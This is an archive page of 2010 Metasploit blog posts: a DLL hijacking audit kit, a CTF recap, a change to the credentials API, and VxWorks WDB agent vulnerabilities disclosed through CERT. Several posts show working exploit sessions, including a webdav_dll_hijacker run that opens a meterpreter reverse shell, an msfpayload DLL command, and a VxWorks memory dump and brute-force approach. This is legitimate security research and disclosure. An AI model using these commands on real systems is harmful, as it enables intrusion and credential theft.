Skip navigation
All Places > Metasploit > Blog > 2010 > August
2010

Due to an overwhelming amount of interest in the initial DLLHijackAuditKit released on Monday, I rewrote the tool to use native JScript, automatically kill spawned processes, reduce the memory usage by ProcMon, and automatically validate every result from the CSV log. The result is DLLHijackAuditKit v2. This kit greatly speeds up the identification process for vulnerable applications. An extremely simple HOWTO:

 

1. Download the DLLHijackAuditKit v2 and extract it into a local directory on the system you would like to test.

 

2. Browse to this directory and launch 01_StartAudit.bat as an Administrator. The Administrator bit is important, as it will allow the script to kill background services that are spawned by the handlers and prevent UAC popups.

 

3. After the audit script completes (15-30 minutes), switch to the Process Monitor window, and access File->Save from the menu. Save the resulting log in CSV format to the local directory with the name "Logfile.CSV".

 

4. Launch 02_Analyze.bat as an Administrator. This will scan through the CSV log, build test cases for each potential vulnerability, try them, and automatically create a proof-of-concept within the Exploits directory should they succeed.

 

5. Identify the affected vendor for each generated proof-of-concept and ask them nicely to fix their application. Send them the calc.exe-launching PoC if necessary.

 

Thanks again to everyone who provided feedback (positive or negative) on the original tool, especially Rob Fuller, who let me forkbomb his system in the process of testing the new kit.

-HD

Originally Posted by hdm

 

 

This post describes the process for identifying and exploiting applications vulnerable to the DLL hijack vulnerability disclosed last week. For background information on this vulnerability, as well as remediation information, please see my post on the Rapid7 Blog.

 

Update: The audit kit has been rewritten, please ignore the instructions in this post and read this post for information on the new kit.

 

This vulnerability is triggered when a vulnerable file type is opened from within a directory controlled by the attacker. This directory can be a USB drive, an extracted archive, or a remote network share. In most cases, the user will have to browse to the directory and then open the target file type for this exploit to work. The file opened by the user can be completely harmless, the flaw is that the application launched to handle the file type will inadvertently load a DLL from the working directory.

 

In practice, this flaw can be exploited by sending the target user a link to a network share containing a file they perceive as safe. iTunes, which was affected by this flaw until last week, is associated with a number of media file types, and each of these would result in a specific DLL being loaded from the same directory as the opened file. The user would be presented with a link in the form of \\server\movies\ and a number of media files would be present in this directory. If the user tries to open any of these files, iTunes would search the remote directory for one or more DLLs and then load these DLLs into the process. If the attacker supplied a malicious DLL containing malware or shellcode, its game over for the user.

 

Earlier this year, Taeho Kwon and Zhendong Su of the University of California, Davis, published a paper titled Automatic Detection of Vulnerable Dynamic Component Loadings. This paper describes the different variants of DLL hijacking and Table IV of this paper contains list of vulnerable applications. They identified the exact same issues I ran into when working on the Windows Shortcut exploit, and although they omitted network shares as a vector, they did cover both carpet bombing and archive files. Kwon and Su developed a test harness to detect the vulnerable applications through instrumentation, however the associated code is not public at this time.

 

To determine the extent of the problem, I developed a quick and dirty audit kit that leverages the Process Monitor utility and the Ruby interpreter. This kit will turn a desktop PC into a game of whack-a-mole by launching the file handlers for every registered file type, while recording whether or not a DLL was accessed within the working directory of the associated file. After the audit phase is complete, the generate.rb script can be used to create test cases that will validate each result. Clicking through the test cases will lead to the Calculator being launched when the result is exploitable and nothing when it is not.

 

To use this kit, first grab a copy from this URL. Extract this into a directory on the system that you want to test. Next, grab a copy of Process Monitor (procmon.exe) and copy the procmon.exe binary into the DLLHijackAuditKit directory. Launch the Process Monitor, accept the EULA, and close it out. Next, install the Ruby interpreter into the target system. Download Ruby 1.9.1-p430 and install it normally. Finally, from the Start menu, launch the "Start Command Prompt with Ruby" link. From this shell, change into the DLLHijackAuditKit directory.

 

At this point, run "audit.bat" and get ready to close about a thousand pop-up windows. Every 50 file types, the script will pause until you hit enter within the command shell window. This process takes about 10-15 minutes depending on the speed of your system and the dexterity of your mousing arm. After each pass, make sure you close all open Windows except for the command shell itself and the ProcMon process. After the script finishes with all registered file extensions, you will need to export a CSV log from ProcMon. To do this:

 

1. Access the "Save" item from the File menu in ProcMon

 

2. Make sure the "Events displayed using current filter" box is checked

 

3. Make sure the "Include profiling events" box is unchecked

 

4. Make sure you choose "Comma-Separated Values" as the format

 

5. Save the log file into into DLLTest\results.csv

 

Next, we will generate a directory of proof-of-concept files for validating the results. From the Ruby command-shell, change into the DLLTest subdirectory and run "ruby generate.rb"

 

Finally, open Windows Explorer to the DLLTest\exploits subdirectory. A file called "exploit.[ext]" will be created for every potentially exploitable file type. Verify that no applications are running in the background and click each file type, closing the application before the next test. If the application is vulnerable, a Calculator window will appear.

 

Once you have a list of affected file extensions, you can use the generic exploit module within the Metasploit Framework to exploit these.

 

Install the latest version of the Metasploit Framework and perform an Online Update (msfupdate on Linux) to get revision 10065 or newer. Start the Metasploit Console as root and run the following commands. On Windows, the module requires you to enable a firewall for ports 139 and 445, otherwise the target will attempt to connect via SMB instead of WebDAV.

 

 

$ msfconsole
msf > use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set EXTENSIONS "ext1 ext2 ext3 ext4"  
msf exploit(webdav_dll_hijacker) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set LPORT 9999
msf exploit(webdav_dll_hijacker) > set LHOST (your IP address)
msf exploit(webdav_dll_hijacker) > exploit

[*] Started reverse handler on 192.168.0.226:4444
[*]
[*] Exploit links are now available at \\192.168.0.226\documents\
[*]
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.0.226:80/
[*] Server started.

 

 

Now that the exploit is running, send the vulnerable client to the network share listed. Once the user double-clicks a file from within this share, you should see a session appear in the Metasploit console:

 

 

[*] 192.168.0.184:1153 PROPFIND /DOCUMENTS/
[*] 192.168.0.184:1153 PROPFIND => 207 Directory (/DOCUMENTS/)
[*] 192.168.0.184:1153 PROPFIND => 207 Top-Level Directory
[*] 192.168.0.184:1151 PROPFIND /DOCUMENTS
[*] 192.168.0.184:1151 PROPFIND => 301 (/DOCUMENTS)
[*] 192.168.0.184:1151 PROPFIND /DOCUMENTS/
[*] 192.168.0.184:1151 PROPFIND => 207 Directory (/DOCUMENTS/)
[*] 192.168.0.184:1151 PROPFIND => 207 Top-Level Directory
[*] Meterpreter session 1 opened (192.168.0.226:4444 -> 192.168.0.184:1154)...

msf exploit(webdav_dll_hijacker) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WINXP\Developer

 

 

If you are trying to determine whether an application is exploitable or need to examine the DLL loading process in minute detail, use WinDbg with gflags to enable Loader Snapshots. After installing WinDbg, change to the installation directory from within a command shell and run "gflags /i NameOfTarget.exe +sls"

 

After the flags have been set, use WinDbg to launch the application, specifying the working directory and the file to actually open. The output within WinDbg will make it clear whether or not a particular DLL is being loaded and if so, whether the initialization function is actually being called. This is a great way to be absolutely sure that a particular application is or is not vulnerable. When you are finished, disable Loader Snapshots with "gflags /i NameOfTarget.exe -sls"

 

In addition to the standard DLL load, there are some interesting corner cases found by the audit kit, although they require manual review to identify.

 

1) If the application is trying to load a DLL that is normally found within the PATH, but not the Windows system directories, and the PATH contains environment variables that have not been set, then the literal value of the environment variable will be treated as sub-directory of the working directory (the share). For example, if %unknownvariable%\bin is in the system PATH, the share will  be searched for a directory called “%unknownvariable%\bin” and the target DLL will be loaded from  within this sub-directory.

 

2. If the application tries to load a DLL whose name consists of a NULL, it will search for a file named ".DLL". This is exploitable in most cases and affects at least one Microsoft product.

 

3. Some applications will actually load and run executables from the working directory. The audit kit generates test cases for these as well using a binary that launches the calculator.

 

4. Applications using certain windowing and plugin libraries will validate that the DLL in question has a certain exported symbol before loading it. This will become obvious when you see the "missing symbol" error message after opening the generated test case. These are almost always exploitable.

 

5. If the application loads a configuration file (INI or otherwise) from the working directory, this can also be exploitable. A few instances of this have already been uncovered, in one case where the DLL that loads the INI file is injected into unrelated applications, making them vulnerable as well.

 

6. Some applications will require the DLL to be signed. These applications only validate that the signature was authorized by a trusted code signing root and a $200 code signing key is all you need to exploit these.

 

7. In at least one instance, a .NET DLL is loaded with full privileges. A normal native DLL will be rejected, but a crafted .NET DLL can be used to exploit these types of applications.

 

One final note, the msfpayload utility in the Metasploit Framework can now be used to generate DLL payloads. A quick example of this is below:

 

 

msfpayload windows/exec CMD=calc.exe D > test.dll

Originally Posted by jcran

 

 

Last Saturday, our favorite South Florida hacker collective, HackMiami, took first place at the South Florida ISSA Hack the Flag contest in Fort Lauderdale, FL. Seven teams participated, defending systems running a variety of off-the-shelf services such as HTTP, SSH, FTP, while attempting to take control of other teams’ systems. We think it’s a useful case study, and wanted to share the results with you.

express_disco-261x300.png

 

 

HackMiami was the first team to enumerate all servers in a range of 3,096 IP addresses using the discovery feature from our own Metasploit Express. Using screenshots of the Metasploit Express hosts overview, they tracked machines that could no longer be pinged or had moved to different IP addresses. 

Tracking via screenshots is hardly ideal, so when discussing the results after the competition, we
put together a script to help automate scenarios like this one, where you require on-going discovery scans. 

This script simply specifies a configuration to the Metasploit Express discovery module, then instructs the RPC service to scan. Combined with a cron job (*/5 * * * * discover_rpc.rb), this is a powerful way to visualize a target network. Results will automatically populate in the Express interface. Everything within Express is highly automatable, and designed to speed up your pentesting workflow. 

While the vulnerable servers were able to withstand bruteforce and auto-exploitation, the Metasploit Express banner grab, which uses both nmap and modules from the framework for additional fingerprinting, showed vsftp 2.0.4 running on one server, which accepted anonymous logons (and contains
several fairly severe vulnerabilities). HackMiami used this to their advantage and won the competition. Congrats guys! 

HackMiami chose to use Metasploit Express in large part because it had recently won over alternative commercial software in the
HackMiami Pwn-Off, and we provide a 7-day trial available for free here. Download it and give it a shot!

Originally Posted by todb

 

 

If you write auxiliary Metasploit modules, you are no doubt familiar with the venerable report_auth_note() -- this is the function you call in your module to let your database know about all your awesome new credentials. Well, it's been changed. More specifically, the database schema has changed. We now treat cracked credentials with all due deference and get them out of the notes table ghetto, and into a new table all their own, as befitting their stature (as of revision r10034).

 

Why do I say the notes table is a ghetto? Well, notes are great because they're flexible and you can stuff basically anything you want in there. But, that flexibility came with some ugly costs -- all that freewheeling data is really hard to work with outside of Metasploit. Go ahead and do a select data from notes; and you'll see what I mean. Any client has to go and un-base64 it, then parse out all the fields, and even then nothing is really guaranteed. So, while notes are great for, well, internal notes, they're not so great for making useful things like cracked credentials more available to your other pen-testing gear.

 

The schema and API change has made report_auth_note() (now aliased to report_creds()) a little more strict, in order to ensure that you can actually use those hard-earned credentials. The new API requires all credentials to be associated with to a specific service (denoted by a :port) on a specific IP address (denoted by :host). There are a few other fields you can populate -- here's a typical example of its use, courtesy of the ssh_login auxiliary module:


def do_report(ip,user,pass,port,proof)
  report_auth_info(
    :host => ip,
    :port => rport,
    :sname => 'ssh',
    :user => user,
    :pass => pass,
    :proof => proof,
    :active => true
  )
end


The most notes-like of these is the :proof field -- this is where you can stash a blob of text that proves that the login was good (usually the output of a uname -a or somesuch), but it's not serialized, so you can still read it later. The fields :user and :pass are what you'd expect, and :sname is the name of the service (in case you haven't registered it yet through report_service()). :active is intended to indicate that a credential was good the last time you tried it; if your victim changes his password and you don't know it anymore, you can set :active to false instead of deleting the credential.

 

Not shown in this example is the use of :type. Basically, this field lets you denote passwords that aren't strictly passwords; for example, smb_login can set it to "smb_hash," and ssh_pubkey_login sets it to "ssh_key" and populates the :pass field with a file path to the ssh_key in question.

 

Two new commands, db_creds and db_add_creds, allow for quick access to the credentials table for reading and updating credentials, and they are shockingly easy to use.

 

So, why is any of this important? Well, credential gathering is pretty awesome. Metasploit has thirty modules already that deal with credential gathering, covering all of the popular Internet protocols (I know this because I just touched them all to conform to the new API).

 

More to the point, writing bruteforce modules is tons of fun. In many ways, it's a lot easier to crack credentials than it is to get shells via exploits. As long as you have a good handle on how an authentication protocol works, it's usually straightforward to write a bruteforce module. And as a bonus, your attack will live a lot longer, since it's pretty hard to patch for weak passwords.

 

If you happen to notice a gap in our bruteforce coverage, and we don't cover your favorite auth protocol, please feel free to get to work on implementing a new auxiliary module to get the job done. Or, if you're feeling lazy and you hate doing fun things, file a feature request and let someone else take a crack at it.

Originally Posted by hdm

 

 

Back in June, I decided to spend some time looking at the VxWorks operating system. Specifically, I kept finding references to VxWorks-based devices running firmware images with the debug service (WDB Agent) enabled, but I could not find a description of the protocol or any estimates as to how prevalent this service was. After a couple days of digging around and a couple more days of scanning, I became aware of just how extensive this issue is.

 

For folks who aren't aware of what VxWorks is -- VxWorks was the most popular embedded operating system in 2005, it is a platform developed by Wind River Systems, which has since been acquired by Intel. Vendors who wish to build products using the VxWorks operating system will license it out by component, integrate their own application code, and then build images which can be installed on their products. VxWorks has been used to power everything from the Apple Airport Extreme access points to the Mars rovers and the C-130 Hercules aircraft. VxWorks itself is essentially a monolithic kernel with applications implemented as kernel tasks. This means that all tasks generally run with the highest privileges and there is little memory protection between these tasks (at least with version 5.x).

 

The WDB agent is a system-level debugger for the VxWorks operating system that runs on UDP port 17185. This service is modeled on the SunRPC protocol in terms of wire format and allows anyone with access to this port to read memory, write memory, call functions, and manage tasks. Since the protocol is UDP and there is no authentication, handshake, or session ID, requests to the WDB agent can also be spoofed by an attacker.

 

To determine how widespread this issue was, I wrote a scanner module for the Metasploit Framework and conducted a network survey that encompassed over 3.1 billion IP addresses. Of this set, over 250,000 systems were found with the WDB agent exposed. After digging around in the DShield database, it became obvious that an unknown party had already spent most of 2006 scanning for this service. I contacted the Carnegie Mellon CERT and provided them with the list of affected devices that were gleaned from the survey, with the goal of notifying as many vendors as possible in a reasonable amount of time. CERT assigned VU#362332 to this issue and plans to publish an advisory today (August 2nd, 2010). The Rapid7 Nexpose engineering team has created a check for this vulnerability and made this available through the standard product update mechanism.

 

While CERT began the coordination process for the WDB Agent issue, I ran into another vulnerability related to this VxWorks platform. VxWorks has a configuration setting entitled "INCLUDE_SECURITY"; when this setting is enabled, the definitions for LOGIN_USER_NAME and LOGIN_PASSWORD can be used to specify a set of credentials for accessing the device over FTP or Telnet. This credential set is baked into the firmware image, and while this backdoor account can be removed by application code calling loginUserDelete(), it is quite common for these credentials to be left in place for production builds. One of the Metasploit modules I wrote for the WDB Agent performs a complete physical memory dump of the target device. I noticed hardcoded credentials in the memory dumps obtained from a wide range of devices. In most situations, a memory dump would be enough to provide remote access to any exposed FTP or Telnet services, but VxWorks had one more trick that I had not accounted for.

 

Instead of storing the backdoor account password in clear-text, a home-grown hashing mechanism is used to obfuscate the password. Presumably, this was done so that anyone with access to an unencrypted firmware image could not login with the backdoor account just by reading the clear-text password. From an engineering perspective, the hashed password is obtained by passing the clear-text version to a proprietary utility called "vxencrypt". This utility, although undocumented, has had its hashing algorithm indexed by Google and is trivial to reverse engineer. The hashing process is basically an additive sum of all of the bytes making up the password, with some XOR thrown in for good measure, and a conversion routine to transform the final sum into a printable string. Even though VxWorks enforces a minimum password length of 8 characters (max 40), there are only around 210,000 possible hash outputs for any valid password.

 

To make matters worse, the number of passwords that are actually reasonable to type (not high or low ascii) fit within about 8,000 permutations. Keep in mind that there is no account lockout mechanism and that the FTP daemon allows four concurrent sessions and never drops the connection, regardless of the number of bad attempts. This allows almost any password to be brute forced, over FTP, in as little as 30 minutes. To only caveats are that the username (LOGIN_USER_NAME) is known and that the vendor in question did not replace the default authentication mechanism with their own implementation. To test this theory, I precalculated a password list that collides every possible hash output, then sorted this list so that typical passwords would be tested first. A single connection brute force using the Metasploit ftp_login module gained access to a local target device in about two hours. Once again, I enlisted the help of CERT, who assigned VU#840249 to this issue, coordinated the vendor notification process, and plans to publish an advisory today (August 2nd, 2010).

 

For more information, see my Fun with VxWorks presentation (PDF) from Security B-Sides Las Vegas and the Defcon 18 Skytalks. Wind River Systems, the maker of VxWorks, has notified their customer base about both issues, but has not indicated that they plan to disable the WDB Agent entirely or fix their hashing implementation. In the latter case, Wind River Systems has provided customers with sample code for replacing their existing hashing algorithm with SHA-1.

 

I would like to thank Dillon Beresford, Shawn Merdinger, David Maynor, R3L1K, and FX for their help identifying affected devices, reverse engineering firmware dumps in IDA, and generally lending a hand with the research. The two bugs mentioned in this post are just the tip of the iceberg and there is a lot more work left to do before the VxWorks platform is as tested as it needs to be.

 

I would also like to thank the security response team at Rockwell Automation, who took both issues seriously, did a deep assessment of their entire product line, and shared their findings. Not a single shipping Rockwell Automation product is affected by the vulnerabilities mentioned in this post.

 

Finally, I would like to thank the fine folks at CERT, who agreed to take on a 100-vendor coordination task in the 60 days leading up to the summer conferences. You guys kick ass and did an amazing job at both notifying the affected vendors and standing your ground on the disclosure schedule.

 

The Metasploit Framework SVN tree has been updated with a set of modules for detecting vulnerable systems and performing a remote memory dump. The device-specific WDB exploits and the master password list for the hashing vulnerability will be made available in early September. The example below demonstrates using the Metasploit Framework to identify an affected device and take a snapshot of the target's physical memory. More than likely, any device you find will NOT be in the survey results above -- the survey was limited to internet-exposed addresses and nearly every enterprise network I have tested has yielded additional affected products. You can either contact CERT (cert[at]cert.org) or try to contact the vendor directly and refer them to the CERT VU IDs above.

 

 

$ msfconsole
msf > use auxiliary/scanner/vxworks/wdbrpc_bootline
msf exploit(wdbrpc_bootline) > set RHOSTS 192.168.0.0/24  
msf exploit(wdbrpc_bootline) > run

[*] 192.168.0.34: 5.4 Netro AirstarSAS 2 host:/zdev/vx_gz
[*] 192.168.0.34: BOOT> ffs(0,0)host:/zdev/vx_gz e=192.168.0.34:fffffff0...
[*] Auxiliary module execution completed

msf exploit(wdbrpc_bootline) > use auxiliary/admin/vxworks/wdbrpc_memory_dump
msf exploit(wdbrpc_memory_dump) > set RHOST 192.168.0.34
msf exploit(wdbrpc_memory_dump) > set LPATH /tmp/target.mem  
msf exploit(wdbrpc_memory_dump) > run

[*] Attempting to dump system memory...
[*] 192.168.0.34 Connected to 5.4 - Netro AirstarSAS 2 (host:/zdev/vx_gz)
[*] Dumping 0x01c00000 bytes from base address 0x00000000 at offset 0x00000000...
[*] [ 00 % ] Downloaded 0x000010a4 of 0x01c00000 bytes...

 

 


Update: Wind River Systems indicated that they plan on fixing the weak password hashing vulnerability in VxWorks 6.9, which has not yet been released.

Filter Blog

By date: By tag: